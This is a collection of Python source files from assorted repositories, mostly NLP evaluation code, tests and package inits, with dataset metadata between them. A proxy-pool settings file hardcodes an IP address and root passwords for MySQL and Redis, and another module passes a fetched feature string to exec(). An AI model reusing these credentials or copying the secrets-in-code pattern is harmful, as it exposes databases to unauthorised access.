dict_chunkid2spanSent_pred[pos+"|||"+tag] if pos in dict_pos2tag.keys(): true_label = dict_pos2tag[pos] if true_label == pred_label: continue else: start = int(pos.split("|||")[0]) end = int(pos.split("|||")[1]) true_label = "".join(list_true_tags_token[start:end]) error_case = span_sentence + "|||" + true_label + "|||" + pred_label errorCase_list.append(error_case) # for v in errorCase_list: # print(len(errorCase_list)) # print(v) #print(errorCase_list) return errorCase_list ################ Calculate Bucket-wise F1 Score: def getBucketF1_cws(dict_bucket2span, dict_bucket2span_pred, dict_span2sid, dict_span2sid_pred, dict_chunkid2span, dict_chunkid2span_pred, list_true_tags_token, list_pred_tags_token, is_print_ci, is_print_case): dict_bucket2f1 = {} # predict: 2_3 -> NER dict_pos2tag_pred = {} if is_print_case: for k_bucket_eval, spans_pred in dict_bucket2span_pred.items(): for span_pred in spans_pred: pos_pred = "|||".join(span_pred.split("|||")[0:2]) tag_pred = span_pred.split("|||")[-1] dict_pos2tag_pred[pos_pred] = tag_pred # true: 2_3 -> NER dict_pos2tag = {} if is_print_case: for k_bucket_eval, spans in dict_bucket2span.items(): for span in spans: pos = "|||".join(span.split("|||")[0:2]) tag = span.split("|||")[-1] dict_pos2tag[pos] = tag errorCase_list = [] if is_print_case: errorCase_list = get_errorCase_cws(dict_pos2tag, dict_pos2tag_pred, dict_chunkid2span, dict_chunkid2span_pred, list_true_tags_token, list_pred_tags_token) # print(len(errorCase_list)) # print(errorCase_list) for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] if bucket_interval not in dict_bucket2span_pred.keys(): raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_f1_cws(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred) confidence_low = format(confidence_low , '.3g') confidence_up = format(confidence_up, '.3g') f1, p, r = evaluate_chunk_level(spans_pred, spans_true) error_entity_list = [] if is_print_case: for span_true in spans_true: if span_true not in spans_pred: #print(span_true) pos_true = "|||".join(span_true.split("|||")[0:2]) tag_true = span_true.split("|||")[-1] if pos_true in dict_pos2tag_pred.keys(): tag_pred = dict_pos2tag_pred[pos_true] if tag_pred != tag_true: error_entity_list.append(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + dict_pos2tag_pred[pos_true]) #print(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + dict_pos2tag_pred[pos_true]) else: start = int(pos_true.split("|||")[0]) end = int(pos_true.split("|||")[1]) pred_label = "".join(list_pred_tags_token[start:end]) error_entity_list.append(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + pred_label) #print(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + pred_label) dict_bucket2f1[bucket_interval] = [f1, len(spans_true), confidence_low, confidence_up, error_entity_list] # if bucket_interval[0] == 1.0: # print("debug-f1:",f1) # print(spans_pred[0:20]) # print(spans_true[0:20]) # print("dict_bucket2f1: ",dict_bucket2f1) return sortDict(dict_bucket2f1), errorCase_list # dict_chunkid2spanSent: 2_3 -> New York|||This is New York city # dict_pos2tag: 2_3 -> NER def get_errorCase_pos(dict_pos2tag, dict_pos2tag_pred, dict_chunkid2spanSent, dict_chunkid2spanSent_pred): # print("debug-1:") # print() errorCase_list = [] for pos, tag in dict_pos2tag.items(): true_label = tag pred_label = "" #print(dict_chunkid2spanSent.keys()) if pos+"_"+tag not in dict_chunkid2spanSent.keys(): continue span_sentence = dict_chunkid2spanSent[pos+"_"+tag] if pos in dict_pos2tag_pred.keys(): pred_label = dict_pos2tag_pred[pos] if true_label == pred_label: continue else: #pred_label = "O" continue error_case = format4json_tc(span_sentence) + "|||" + true_label + "|||" + pred_label # if pred_label == "O": # print(error_case) # print(len(dict_pos2tag), len(dict_pos2tag_pred)) # print(pos) errorCase_list.append(error_case) #print(errorCase_list) return errorCase_list # 1000 def compute_confidence_interval_f1_pos(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred, n_times=100): n_data = len(dict_span2sid) sample_rate = get_sample_rate(n_data) n_sampling = int(n_data * sample_rate) print("sample_rate:\t", sample_rate) print("n_sampling:\t", n_sampling) dict_sid2span_salient = {} for span in spans_true: #print(span) if len(span.split("_"))!=3: break sid = dict_span2sid[span] if sid in dict_sid2span_salient.keys(): dict_sid2span_salient[sid].append(span) else: dict_sid2span_salient[sid] = [span] dict_sid2span_salient_pred = {} for span in spans_pred: sid = dict_span2sid_pred[span] if sid in dict_sid2span_salient_pred.keys(): dict_sid2span_salient_pred[sid].append(span) else: dict_sid2span_salient_pred[sid] = [span] performance_list = [] confidence_low, confidence_up = 0,0 for i in range(n_times): sample_index_list = choices(range(n_data), k=n_sampling) true_label_bootstrap_list = [] pred_label_bootstrap_list = [] for ind, sid in enumerate(sample_index_list): if sid in dict_sid2span_salient.keys(): true_label_list = dict_sid2span_salient[sid] true_label_list_revised = [true_label + "_" + str(ind) for true_label in true_label_list] true_label_bootstrap_list += true_label_list_revised if sid in dict_sid2span_salient_pred.keys(): pred_label_list = dict_sid2span_salient_pred[sid] pred_label_list_revised = [pred_label + "_" + str(ind) for pred_label in pred_label_list] pred_label_bootstrap_list += pred_label_list_revised f1, p, r = evaluate_chunk_level(pred_label_bootstrap_list, true_label_bootstrap_list) performance_list.append(f1) if n_times != 1000: confidence_low, confidence_up = mean_confidence_interval(performance_list) else: performance_list.sort() confidence_low = performance_list[24] confidence_up = performance_list[974] # print("\n") # print("confidence_low:\t", confidence_low) # print("confidence_up:\t", confidence_up) return confidence_low, confidence_up def getBucketF1_pos(dict_bucket2span, dict_bucket2span_pred, dict_span2sid, dict_span2sid_pred, dict_chunkid2span, dict_chunkid2span_pred, is_print_ci, is_print_case): errorCase_list = [] dict_bucket2f1 = {} # predict: 2_3 -> NER dict_pos2tag_pred = {} if is_print_case: for k_bucket_eval, spans_pred in dict_bucket2span_pred.items(): for span_pred in spans_pred: pos_pred = "_".join(span_pred.split("_")[0:2]) tag_pred = span_pred.split("_")[-1] dict_pos2tag_pred[pos_pred] = tag_pred #print(dict_pos2tag_pred) # true: 2_3 -> NER dict_pos2tag = {} if is_print_case: for k_bucket_eval, spans in dict_bucket2span.items(): for span in spans: pos = "_".join(span.split("_")[0:2]) tag = span.split("_")[-1] dict_pos2tag[pos] = tag # print(dict_pos2tag_pred) if is_print_case: errorCase_list = get_errorCase_pos(dict_pos2tag, dict_pos2tag_pred, dict_chunkid2span, dict_chunkid2span_pred) for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] #print('bucket_interval: ',bucket_interval) if bucket_interval not in dict_bucket2span_pred.keys(): #print(bucket_interval) raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_f1_pos(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred) confidence_low = format(confidence_low , '.3g') confidence_up = format(confidence_up, '.3g') f1, p, r = evaluate_chunk_level(spans_pred, spans_true) error_entity_list = [] if is_print_case: for span_true in spans_true: if span_true not in spans_pred: #print(span_true) pos_true = "_".join(span_true.split("_")[0:2]) tag_true = span_true.split("_")[-1] if pos_true in dict_pos2tag_pred.keys(): tag_pred = dict_pos2tag_pred[pos_true] if tag_pred != tag_true: error_entity_list.append(format4json_tc(dict_chunkid2span[span_true]) + "|||" + tag_true + "|||" + dict_pos2tag_pred[pos_true]) else: #error_entity_list.append(format4json_tc(dict_chunkid2span[span_true]) + "|||" + tag_true + "|||" + "O") continue # print("confidence_low:\t", confidence_low) # print("confidence_up:\t", confidence_up) # print("F1:\t", f1) #print(error_entity_list) dict_bucket2f1[bucket_interval] = [f1, len(spans_true), confidence_low, confidence_up, error_entity_list] # if bucket_interval[0] == 1.0: # print("debug-f1:",f1) # print(spans_pred[0:20]) # print(spans_true[0:20]) # print("dict_bucket2f1: ",dict_bucket2f1) return sortDict(dict_bucket2f1), errorCase_list def getBucketF1_chunk(dict_bucket2span, dict_bucket2span_pred, dict_span2sid, dict_span2sid_pred, dict_chunkid2span, dict_chunkid2span_pred, is_print_ci, is_print_case): dict_bucket2f1 = {} # predict: 2_3 -> NER dict_pos2tag_pred = {} if is_print_case: for k_bucket_eval, spans_pred in dict_bucket2span_pred.items(): for span_pred in spans_pred: pos_pred = "_".join(span_pred.split("_")[0:2]) tag_pred = span_pred.split("_")[-1] dict_pos2tag_pred[pos_pred] = tag_pred # true: 2_3 -> NER dict_pos2tag = {} if is_print_case: for k_bucket_eval, spans in dict_bucket2span.items(): for span in spans: pos = "_".join(span.split("_")[0:2]) tag = span.split("_")[-1] dict_pos2tag[pos] = tag errorCase_list = [] if is_print_case: errorCase_list = get_errorCase(dict_pos2tag, dict_pos2tag_pred, dict_chunkid2span, dict_chunkid2span_pred) for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] #print('bucket_interval: ',bucket_interval) if bucket_interval not in dict_bucket2span_pred.keys(): #print(bucket_interval) raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_f1(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred) confidence_low = format(confidence_low , '.3g') confidence_up = format(confidence_up, '.3g') f1, p, r = evaluate_chunk_level(spans_pred, spans_true) error_entity_list = [] if is_print_case: for span_true in spans_true: if span_true not in spans_pred: #print(span_true) pos_true = "_".join(span_true.split("_")[0:2]) tag_true = span_true.split("_")[-1] if pos_true in dict_pos2tag_pred.keys(): tag_pred = dict_pos2tag_pred[pos_true] if tag_pred != tag_true: error_entity_list.append(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + dict_pos2tag_pred[pos_true]) else: error_entity_list.append(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + "O") # print("confidence_low:\t", confidence_low) # print("confidence_up:\t", confidence_up) # print("F1:\t", f1) #print(error_entity_list) dict_bucket2f1[bucket_interval] = [f1, len(spans_true), confidence_low, confidence_up, error_entity_list] # if bucket_interval[0] == 1.0: # print("debug-f1:",f1) # print(spans_pred[0:20]) # print(spans_true[0:20]) # print("dict_bucket2f1: ",dict_bucket2f1) return sortDict(dict_bucket2f1), errorCase_list def getErrorCase_semp(text_list, sql_true_list, sql_pred_list, is_match_list): errorCase_list = [] for text, sql_true, sql_pred, is_match in zip(text_list, sql_true_list, sql_pred_list, is_match_list): if is_match == "0": errorCase_list.append(format4json_tc(text) + "|||" + format4json_tc(sql_true) + "|||" + format4json_tc(sql_pred) ) return errorCase_list def getBucketAcc_with_errorCase_semp(dict_bucket2span, dict_bucket2span_pred, dict_sid2sentpair): # The structure of span_true or span_pred # 2345|||Positive # 2345 represents sentence id # Positive represents the "label" of this instance dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] # print('bucket_interval: ',bucket_interval) if bucket_interval not in dict_bucket2span_pred.keys(): #print(bucket_interval) raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] # loop over samples from a given bucket error_case_bucket_list = [] for info_true, info_pred in zip(spans_true, spans_pred): sid_true, label_true = info_true.split("|||") sid_pred, label_pred = info_pred.split("|||") if sid_true != sid_pred: continue sent = dict_sid2sentpair[sid_true] if label_true != label_pred: error_case_info = sent error_case_bucket_list.append(error_case_info) accuracy_each_bucket = accuracy(spans_pred, spans_true) # print("debug: span_pred:\t") # print(spans_pred) confidence_low, confidence_up = compute_confidence_interval_acc(spans_pred, spans_true) dict_bucket2f1[bucket_interval] = [accuracy_each_bucket, len(spans_true), confidence_low, confidence_up, error_case_bucket_list] # print(error_case_bucket_list) print("accuracy_each_bucket:\t", accuracy_each_bucket) return sortDict(dict_bucket2f1)

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7439db78b8174742ff52526ef4f1e69a3e8a0f83

869

py

Python

setup.py

WenmuZhou/tablepyxl

3cb2a9e12b543bf46777b55bf64857281669fe98

[ "MIT" ]

22

2017-01-06T17:27:53.000Z

2022-03-07T10:35:38.000Z

setup.py

WenmuZhou/tablepyxl

3cb2a9e12b543bf46777b55bf64857281669fe98

[ "MIT" ]

14

2016-12-19T22:53:29.000Z

2021-12-13T19:44:11.000Z

setup.py

Wandrys-dev/tablepyxl

54bb89db70b184777074ea2badfb032ee10e6ab2

[ "MIT" ]

17

2015-07-20T22:06:13.000Z

2021-06-15T13:41:01.000Z

from setuptools import setup, find_packages setup( name='tablepyxl', version='0.6.1', description='Generate Excel documents from html tables', url='https://github.com/martsberger/tablepyxl', download_url='https://github.com/martsberger/tablepyxl/archive/0.6.1.tar.gz', author='Brad Martsberger, Asma Mehjabeen, Brian Davis', author_email='bmarts@lumere.com', license='MIT', classifiers=[ 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7' ], packages=find_packages(), install_requires=['openpyxl', 'premailer', 'requests', 'lxml'] )

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null

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5

7473252fb908a4341aee99ec7efd551dcb795f88

2,770

py

Python

tests/test_hassio.py

makefu/pyhaversion

adf4f237e47d7b3f62a52e6cf084824b20e9c1bb

[ "MIT" ]

null

tests/test_hassio.py

makefu/pyhaversion

adf4f237e47d7b3f62a52e6cf084824b20e9c1bb

[ "MIT" ]

null

tests/test_hassio.py

makefu/pyhaversion

adf4f237e47d7b3f62a52e6cf084824b20e9c1bb

[ "MIT" ]

null

"""Tests for Hassio.""" import json import aiohttp import pytest from pyhaversion import HassioVersion from .const import ( HEADERS, STABLE_VERSION, STABLE_VERSION_BETA_WEEK, BETA_VERSION, BETA_VERSION_BETA_WEEK, ) from .fixtures.fixture_hassio import ( hassio_response, hassio_response_beta_week, hassio_beta_response, hassio_beta_response_beta_week, ) @pytest.mark.asyncio async def test_stable_version(aresponses, event_loop, hassio_response): """Test hassio stable.""" aresponses.add( "s3.amazonaws.com", "/hassio-version/stable.json", "get", aresponses.Response( text=json.dumps(hassio_response), status=200, headers=HEADERS ), ) async with aiohttp.ClientSession(loop=event_loop) as session: haversion = HassioVersion(event_loop, session) await haversion.get_version() assert haversion.version == STABLE_VERSION @pytest.mark.asyncio async def test_beta_version(aresponses, event_loop, hassio_beta_response): """Test hassio beta.""" aresponses.add( "s3.amazonaws.com", "/hassio-version/beta.json", "get", aresponses.Response( text=json.dumps(hassio_beta_response), status=200, headers=HEADERS ), ) async with aiohttp.ClientSession(loop=event_loop) as session: haversion = HassioVersion(event_loop, session, "beta") await haversion.get_version() assert haversion.version == BETA_VERSION @pytest.mark.asyncio async def test_stable_version_beta_week( aresponses, event_loop, hassio_response_beta_week ): """Test hassio stable during beta week.""" aresponses.add( "s3.amazonaws.com", "/hassio-version/stable.json", "get", aresponses.Response( text=json.dumps(hassio_response_beta_week), status=200, headers=HEADERS ), ) async with aiohttp.ClientSession(loop=event_loop) as session: haversion = HassioVersion(event_loop, session) await haversion.get_version() assert haversion.version == STABLE_VERSION_BETA_WEEK @pytest.mark.asyncio async def test_beta_version_beta_week( aresponses, event_loop, hassio_beta_response_beta_week ): """Test hassio beta during beta week.""" aresponses.add( "s3.amazonaws.com", "/hassio-version/beta.json", "get", aresponses.Response( text=json.dumps(hassio_beta_response_beta_week), status=200, headers=HEADERS ), ) async with aiohttp.ClientSession(loop=event_loop) as session: haversion = HassioVersion(event_loop, session, "beta") await haversion.get_version() assert haversion.version == BETA_VERSION_BETA_WEEK

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null

0

5

777158732d632ac14ea57da1212a1bc1484ac41e

38

py

Python

factual/common/exceptions.py

casebeer/factual

f2795a8c9fd447c5d62887ae0f960481ce13be84

[ "BSD-2-Clause" ]

4

2015-01-02T01:16:52.000Z

2016-04-05T03:29:32.000Z

factual/common/exceptions.py

casebeer/factual

f2795a8c9fd447c5d62887ae0f960481ce13be84

[ "BSD-2-Clause" ]

null

factual/common/exceptions.py

casebeer/factual

f2795a8c9fd447c5d62887ae0f960481ce13be84

[ "BSD-2-Clause" ]

null

class FactualError(Exception): pass

9.5

30

0.789474

4

38

7.5

1

0

0.131579

38

3

31

12.666667

0.909091

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true

0.5

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null

0

1

0

null

0

1

0

5

77938b3d81e6c77f7da1d074b11b49ed1c89eabe

107

py

Python

largescale/src/neuron/connection/connection/__init__.py

cosmozhang-lab/motion-illusion-model

32a5ccab920095818b220642bae491429ff71f27

[ "MIT" ]

null

largescale/src/neuron/connection/connection/__init__.py

cosmozhang-lab/motion-illusion-model

32a5ccab920095818b220642bae491429ff71f27

[ "MIT" ]

null

largescale/src/neuron/connection/connection/__init__.py

cosmozhang-lab/motion-illusion-model

32a5ccab920095818b220642bae491429ff71f27

[ "MIT" ]

null

# Package: largescale.src.neuron.connection.connection from connection import ConnectivityPool, Connection

35.666667

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0.074766

107

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35.666667

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true

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null

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1

0

null

0

1

0

1

0

1

0

5

77a918e079209fd67d3dc91b6148c893d38b03a8

33

py

Python

views/__init__.py

reganto/tornado

ea71bc9d91483d564f9a0faa3d5adf614b023603

[ "Apache-2.0" ]

7

2018-07-12T19:51:57.000Z

2019-10-14T07:11:44.000Z

views/__init__.py

reganto/tornado

ea71bc9d91483d564f9a0faa3d5adf614b023603

[ "Apache-2.0" ]

1

2019-08-02T14:16:40.000Z

2019-08-03T14:31:17.000Z

views/__init__.py

reganto/tornado

ea71bc9d91483d564f9a0faa3d5adf614b023603

[ "Apache-2.0" ]

null

from .home import HomePageHandler

33

0.878788

4

33

7.25

1

0

0.090909

33

1

33

0.966667

0

1

0

true

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1

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1

0

1

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null

0

1

0

null

0

1

0

1

0

5

77d36464bd4d49e3020b4c083cd21a208fedd75a

225

py

Python

misago/misago/graphql/admin/tests/conftest.py

vascoalramos/misago-deployment

20226072138403108046c0afad9d99eb4163cedc

[ "MIT" ]

2

2021-03-06T21:06:13.000Z

2021-03-09T15:05:12.000Z

misago/misago/graphql/admin/tests/conftest.py

vascoalramos/misago-deployment

20226072138403108046c0afad9d99eb4163cedc

[ "MIT" ]

null

misago/misago/graphql/admin/tests/conftest.py

vascoalramos/misago-deployment

20226072138403108046c0afad9d99eb4163cedc

[ "MIT" ]

null

import pytest from django.urls import reverse from ...test import GraphQLTestClient @pytest.fixture def admin_graphql_client(admin_client): return GraphQLTestClient(admin_client, reverse("misago:admin:graphql:index"))

22.5

81

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6.392857

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9

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null

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5

77f7c60ba8c49ec29ff69b45928966af5755a776

153

py

Python

video_classification/models/__init__.py

gpostelnicu/video_classification

ac8cf0b1a3365ec42ec92fd8b3ad946c6e5c8e15

[ "MIT" ]

null

video_classification/models/__init__.py

gpostelnicu/video_classification

ac8cf0b1a3365ec42ec92fd8b3ad946c6e5c8e15

[ "MIT" ]

null

video_classification/models/__init__.py

gpostelnicu/video_classification

ac8cf0b1a3365ec42ec92fd8b3ad946c6e5c8e15

[ "MIT" ]

null

from .decoder import Decoder from .encoder import ResnetEncoder from .factory import get_model_by_name from .resnet_lstm import ResnetLstm, count_params

30.6

49

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5.727273

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153

4

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38.25

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true

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null

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1

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1

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1

0

5

ae01fc6a56fdee3f32c2f3e77c8b72e91dcc1d0a

2,693

py

Python

proxypool/proxypool/proxypool/LosmliProxyPool/settings/default_settings.py

yhr-git/study_git

b509dcc2195c8fab02d4c16a9299f6ba26a192e8

[ "MIT" ]

null

proxypool/proxypool/proxypool/LosmliProxyPool/settings/default_settings.py

yhr-git/study_git

b509dcc2195c8fab02d4c16a9299f6ba26a192e8

[ "MIT" ]

null

proxypool/proxypool/proxypool/LosmliProxyPool/settings/default_settings.py

yhr-git/study_git

b509dcc2195c8fab02d4c16a9299f6ba26a192e8

[ "MIT" ]

null

import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) USER_AGENTS_LIST = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' ] # 爬取后第一次检验 HTTPBIN_CHECK_URL = 'http://httpbin.org/ip' # CHECK_URL = 'https://www.google.com/' # CHECK_URL = 'https://www.alibaba.com/' # 对特定网站验证proxy可用性 AMAZON_CHECK_URL = 'https://www.amazon.com/' # 过滤代理 CLIENT_IP = '172.105.220.160' # MySQL配置 MYSQL_HOST = '172.105.220.160' MYSQL_PORT = 3306 MYSQL_USER = 'root' MYSQL_PASSWORD = 'hb_root123456' MYSQL_DB = 'proxypool' # redis配置 REDIS_HOST = '172.105.220.160' REDIS_PORT = 6379 REDIS_PASSWORD = 'hb_root123456' REDIS_DB = 1 # redis key PROXY_WAIT_CHECK_HTTPBIN = 'proxyWaitCheckHttpbin' PROXY_IS_VAILD_HTTPBIN = 'proxyIsVaildHttpbin' PROXY_WAIT_CHECK_AMAZON = 'proxyWaitCheckAmazon' PROXY_IS_VAILD_AMAZON = 'proxyIsVaildAmazon' # 最大并发量 MAX_CONCURRENT = 50 PROXY_FILE = os.path.join(BASE_DIR, 'list.txt')

47.245614

122

0.717044

467

2,693

4.049251

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0.079323

0.071391

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0.678477

0.644632

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0

0.203138

0.124397

2,693

56

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48.089286

0.598813

0.051244

0

0.405405

0.753635

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false

0.054054

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1

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1

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null

0

1

0

5

7af0ca5f9ba1d7ef7209dbd8ee8cdbc2d3865c16

250

py

Python

classifier/models/effnet.py

bendikbo/SSED

fdd0e74d419687bc8cba65341d7248ca6ccd1a4e

[ "MIT" ]

null

classifier/models/effnet.py

bendikbo/SSED

fdd0e74d419687bc8cba65341d7248ca6ccd1a4e

[ "MIT" ]

null

classifier/models/effnet.py

bendikbo/SSED

fdd0e74d419687bc8cba65341d7248ca6ccd1a4e

[ "MIT" ]

null

#The effcientnet_pytorch package is licensed under LGPL V3 #License can be found in the subdir "LICENSES" from efficientnet_pytorch import EfficientNet def effnet(cfg): return EfficientNet.from_pretrained(cfg.NAME, num_classes=cfg.NUM_CLASSES)

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0.82

36

250

5.555556

0.75

0.1

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0.004566

0.124

250

7

79

35.714286

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1

0.333333

false

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null

0

1

0

1

0

5

bb4d1d4ec712336b542134fc4df6127ae0b6abc7

80

py

Python

server/log.py

codingchili/lifx-circadian

511488681c0745fd2c3122354ea0451d1a64fff8

[ "MIT" ]

2

2020-01-14T12:31:05.000Z

2022-01-06T17:24:14.000Z

server/log.py

codingchili/lifx-circadian

511488681c0745fd2c3122354ea0451d1a64fff8

[ "MIT" ]

14

2019-11-21T17:55:12.000Z

2019-12-01T20:15:26.000Z

server/log.py

codingchili/lifx-circadian

511488681c0745fd2c3122354ea0451d1a64fff8

[ "MIT" ]

null

import time def log(line): print(time.strftime('%H:%M:%S') + ' > ' + line)

16

51

0.55

12

80

3.666667

0.833333

0

0.2

80

5

51

16

0.6875

0

0.135802

0

1

0.333333

false

0

0.333333

0

0.666667

0.333333

1

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1

0

null

0

1

0

1

0

1

0

5

2475b817ccae80859885a1e431d955da7858cfb0

534

py

Python

tests/test_subscriptableclass_approach.py

mjendersgyg/TypedPyspark

cf58624bceb2b2e122b8cb24901453c98efd2356

[ "Apache-2.0" ]

3

2021-12-09T08:58:57.000Z

2022-02-03T12:53:55.000Z

tests/test_subscriptableclass_approach.py

mjendersgyg/TypedPyspark

cf58624bceb2b2e122b8cb24901453c98efd2356

[ "Apache-2.0" ]

null

tests/test_subscriptableclass_approach.py

mjendersgyg/TypedPyspark

cf58624bceb2b2e122b8cb24901453c98efd2356

[ "Apache-2.0" ]

1

2022-03-28T12:43:18.000Z

from pyspark.sql import SparkSession from typed_pyspark import DataFrame phone = str url = str def test_with_spark(): df_names = DataFrame["phone", "url", ...] spark = SparkSession.builder.getOrCreate() df = spark.createDataFrame([{"phone": "1233125"}]) def test(df: df_names) -> DataFrame["phone", "url"]: return df test(df) def test_first(): df_names = DataFrame["phone", "url", ...] def test(df: df_names) -> DataFrame["phone", "url"]: return DataFrame() test(DataFrame())

19.777778

56

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64

534

5.15625

0.34375

0.212121

0.193939

0.254545

0.381818

0.236364

0

0.016548

0.207865

534

26

57

20.538462

0.763593

0

0.25

0

0.082397

0

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0.25

false

0

0.125

0.5

0

null

1

0

null

0

1

0

1

0

5

2477f7f753604e256b5a37a04aeba572c0063501

256

py

Python

discounts/src/exceptions/exceptions.py

dalmarcogd/mobstore

0b542b9267771a1f4522990d592028dc30ee246f

[ "Apache-2.0" ]

null

discounts/src/exceptions/exceptions.py

dalmarcogd/mobstore

0b542b9267771a1f4522990d592028dc30ee246f

[ "Apache-2.0" ]

null

discounts/src/exceptions/exceptions.py

dalmarcogd/mobstore

0b542b9267771a1f4522990d592028dc30ee246f

[ "Apache-2.0" ]

null

class UserNotFoundException(Exception): pass class ProductNotFoundException(Exception): pass class UnrecognizedEventType(Exception): pass class UnrecognizedEventOperation(Exception): pass class UnrecognizedArgs(Exception): pass

13.473684

44

0.773438

20

256

9.9

0.4

0.328283

0.363636

0

0.167969

256

18

45

14.222222

0.929577

0

0.5

0

1

0

true

0.5

0

0.5

0

1

0

null

1

0

null

0

1

0

5

2480d38d361ab252237b6e4282cde75fed35e477

162

py

Python

netmiko/alliedtelesis/__init__.py

Rawrroar/netmiko

5477580e168f79571920b61e718d0a8781b39dbb

[ "MIT" ]

null

netmiko/alliedtelesis/__init__.py

Rawrroar/netmiko

5477580e168f79571920b61e718d0a8781b39dbb

[ "MIT" ]

null

netmiko/alliedtelesis/__init__.py

Rawrroar/netmiko

5477580e168f79571920b61e718d0a8781b39dbb

[ "MIT" ]

null

from __future__ import unicode_literals from netmiko.alliedtelesis.awplus_ssh import AWplusSSH, AWplusFileTransfer __all__ = ["AWplusSSH", "AWplusFileTransfer"]

32.4

74

0.845679

16

162

7.9375

0.75

0.425197

0

0.08642

162

4

75

40.5

0.858108

0

0.166667

0

1

0

false

0

0.666667

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5

249adc4109ce80d8c4201dd89380eab313ed0ea9

119

py

Python

insomniac/extra_features/action_register_accounts.py

chikko80/Insomniac

2d49a6d4e5a15eb63bddd9aace3cc872cf40b01a

[ "MIT" ]

null

insomniac/extra_features/action_register_accounts.py

chikko80/Insomniac

2d49a6d4e5a15eb63bddd9aace3cc872cf40b01a

[ "MIT" ]

null

insomniac/extra_features/action_register_accounts.py

chikko80/Insomniac

2d49a6d4e5a15eb63bddd9aace3cc872cf40b01a

[ "MIT" ]

null

from insomniac import activation_controller exec(activation_controller.get_extra_feature("action_register_accounts"))

29.75

73

0.890756

14

119

7.142857

0.857143

0.4

0

0.05042

119

3

74

39.666667

0.884956

0

0.201681

0

1

0

true

0

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0

5

24a87274ca8edb259e3599922d6f2f91ff2cbfb3

83

py

Python

test/testFunctionError.py

qwazwsx/pytalk

29115e3f8903551de56476c102bb5f340bb0e285

[ "MIT" ]

null

test/testFunctionError.py

qwazwsx/pytalk

29115e3f8903551de56476c102bb5f340bb0e285

[ "MIT" ]

null

test/testFunctionError.py

qwazwsx/pytalk

29115e3f8903551de56476c102bb5f340bb0e285

[ "MIT" ]

null

import math @pytalk_method('factorial') def fact(n): return math.factorial(n / 0)

16.6

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0.120482

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1

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null

0

1

0

1

0

5

24b9349695d31b6b06e6ad0a4cb644dfe9939a58

6,234

py

Python

tests/test_hsrp.py

codezinfiniti/HAP-python

c5a18c66e2a1e130c5ec40f252878f7449acaad4

[ "Apache-2.0" ]

462

2017-10-14T16:58:36.000Z

2022-03-24T01:40:23.000Z

tests/test_hsrp.py

codezinfiniti/HAP-python

c5a18c66e2a1e130c5ec40f252878f7449acaad4

[ "Apache-2.0" ]

371

2017-11-28T14:00:02.000Z

2022-03-31T21:44:07.000Z

tests/test_hsrp.py

